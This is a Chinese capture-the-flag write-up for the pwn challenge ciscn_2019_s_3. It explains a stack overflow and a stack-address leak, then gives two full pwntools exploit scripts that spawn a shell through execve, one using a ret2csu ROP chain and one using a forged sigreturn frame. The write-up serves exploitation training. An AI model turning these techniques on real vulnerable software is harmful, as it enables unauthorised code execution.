【pwn】ciscn_2019_s_3

這題是全國大學生信息安全競賽的一道線下半決賽題目,好像是華南賽區?
例行檢查。
在這裏插入圖片描述分析程序。
vul函數
在這裏插入圖片描述
兩個系統調用,一個是sys_read,一個是sys_write,往棧上寫數據(0x400),從棧上讀數據(0x30),存在棧溢出。
還有一個gadget函數。
在這裏插入圖片描述
有兩個值得注意的地方。mov rax,0fh 以及mov rax 59。這兩個gadget控制了rax的值,看看這兩個是什麼系統調用。
15 sys_rt_sigreturn
59 sys_execve

解法一
59號系統調用是execve那麼就可以想辦法控制寄存器的值調用execve("/bin/sh",0,0),注意在調用execve時,後面兩個參數需要置0,由於需要控制rdx的值,所以選擇使用通用gadget,__libc_csu_init。
在這裏插入圖片描述
r13的值會給到rdx,讓rbx=0,下面call的時候會變爲call [r12],會去call r12指向位置的代碼,我們可以調到後面的rop執行,所以需要知道棧的地址,我們獲取/bin/sh字符串時也需要知道棧地址。這題剛好在write的時候0x28這個位置是棧上的值,於是通過計算可以得到棧上/bin/sh的地址,即rsp-0x10的值。

from pwn import *

io=process('pwn')
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)

io.interactive()

解法2
15號系統調用sigreturn。這個系統調用是在終止信號恢復用戶態環境時用的。那麼我們在棧上僞造寄存器的值,那麼恢復時就可將寄存器控制爲我們想要的值。
具體可參考:Framing Signals—A Return to Portable Shellcode

from pwn import *

io=process('pwn')
context.binary='./pwn'
context.terminal = ['gnome-terminal','-x','sh','-c']

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1='a'*16+p64(sigret)+p64(sys)+str(frame)

'''
def debug(addr):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)
debug('0x400514')
'''

pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)

io.interactive()    
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章